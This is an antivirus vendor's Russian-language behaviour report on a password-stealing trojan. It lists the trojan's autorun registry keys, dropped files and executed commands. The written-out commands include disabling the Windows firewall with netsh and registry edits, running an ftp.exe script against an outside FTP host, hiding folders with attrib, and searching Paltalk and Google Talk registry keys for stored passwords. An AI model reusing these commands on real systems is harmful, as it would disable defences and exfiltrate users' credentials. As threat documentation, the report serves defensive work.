Trojan.PWS.Siggen1.28710

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat7' = '"C:\Users\Public\Public Document\mdej.exe"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Создает и запускает на исполнение:

'C:\users\public\Public Document\image.exe' -f "amsn.klc"
'C:\users\public\Public Document\trz7A.exe' -f "wmsn.klc"
'C:\users\public\Public Document\mdej.exe'
'C:\users\public\Public Document\crb.exe' -d -p A1B2C3D4KD7123LS400S500201322419s080897654321 bar.zip.aes
'C:\users\public\Public Document\unzip.exe' -o bar.zip
'C:\users\public\Public Document\images.exe' "wmsn.klb"

Запускает на исполнение:

'<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn"
'<SYSTEM32>\netsh.exe' firewall set opmode disable
'<SYSTEM32>\ipconfig.exe' /all
'<SYSTEM32>\attrib.exe' +r +a +s +h "%ALLUSERSPROFILE%\Msn\Msn2"
'%WINDIR%\regedit.exe' /s "cogj.reg"
'<SYSTEM32>\ftp.exe' -i -v -s:abc.klm ftp.freehostia.com
'<SYSTEM32>\attrib.exe' +r +a +s +h "C:\users\public\public document"
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\shell32.dll,OpenAs_RunDLL C:\users\public\Public Document\pic.pdf
'<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\dece.bat" "
'<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\stap.vbs"
'<SYSTEM32>\taskkill.exe' /f /im mdej.exe
'<SYSTEM32>\xcopy.exe' /h /e /r /k /c /q /y *.* "%ALLUSERSPROFILE%\Msn\Msn2"
'<SYSTEM32>\cmd.exe' /c ""C:\users\public\Public Document\icj.bat" "
'<SYSTEM32>\wscript.exe' "C:\users\public\Public Document\saj.vbs"

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:

[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]

Изменения в файловой системе:

Создает следующие файлы:

%ALLUSERSPROFILE%\Msn\Msn2\iewj.bat
%ALLUSERSPROFILE%\Msn\Msn2\iej.bat
%ALLUSERSPROFILE%\Msn\Msn2\image.exe
%ALLUSERSPROFILE%\Msn\Msn2\keeprun.ini
%ALLUSERSPROFILE%\Msn\Msn2\images.exe
%ALLUSERSPROFILE%\Msn\Msn2\abc.klm
%ALLUSERSPROFILE%\Msn\Msn2\aagj.bat
%ALLUSERSPROFILE%\Msn\Msn2\cogj.reg
%ALLUSERSPROFILE%\Msn\Msn2\icj.bat
%ALLUSERSPROFILE%\Msn\Msn2\dj.vbs
C:\users\public\Public Document\wmsn.klb
C:\users\public\Public Document\adip.klc
C:\users\public\Public Document\amsn.klc
C:\users\public\Public Document\msn.klc
C:\users\public\Public Document\wmsn.klc
%ALLUSERSPROFILE%\Msn\Msn2\pic.pdf
%ALLUSERSPROFILE%\Msn\Msn2\mdej.exe
%ALLUSERSPROFILE%\Msn\Msn2\saj.vbs
%ALLUSERSPROFILE%\Msn\Msn2\trz7A.exe
%ALLUSERSPROFILE%\Msn\Msn2\stap.vbs
C:\users\public\Public Document\unzip.exe
C:\users\public\Public Document\dece.bat
C:\users\public\Public Document\bar.zip
C:\users\public\Public Document\cogj.reg
C:\users\public\Public Document\aagj.bat
C:\users\public\Public Document\stap.vbs
C:\users\public\Public Document\pic.pdf
C:\users\public\Public Document\abc.klm
C:\users\public\Public Document\crb.exe
C:\users\public\Public Document\bar.zip.aes
C:\users\public\Public Document\keeprun.ini
C:\users\public\Public Document\images.abc
C:\users\public\Public Document\mdej.abc
C:\users\public\Public Document\trz7A.abc
C:\users\public\Public Document\saj.vbs
C:\users\public\Public Document\icj.bat
C:\users\public\Public Document\dj.vbs
C:\users\public\Public Document\iej.bat
C:\users\public\Public Document\image.abc
C:\users\public\Public Document\iewj.bat

Удаляет следующие файлы:

C:\users\public\Public Document\unzip.exe
C:\users\public\Public Document\crb.exe
C:\users\public\Public Document\bar.zip.aes
C:\users\public\Public Document\bar.zip

Перемещает следующие файлы:

C:\users\public\Public Document\msn.klc в C:\users\public\Public Document\001_201405Tu_164322.036
C:\users\public\Public Document\wmsn.klb в C:\users\public\Public Document\001_201405Tu_164322.037
C:\users\public\Public Document\wmsn.klc в C:\users\public\Public Document\001_201405Tu_164322.038
C:\users\public\Public Document\trz7A.abc в C:\users\public\Public Document\trz7A.exe
C:\users\public\Public Document\image.abc в C:\users\public\Public Document\image.exe
C:\users\public\Public Document\images.abc в C:\users\public\Public Document\images.exe
C:\users\public\Public Document\mdej.abc в C:\users\public\Public Document\mdej.exe

Сетевая активность:

Подключается к: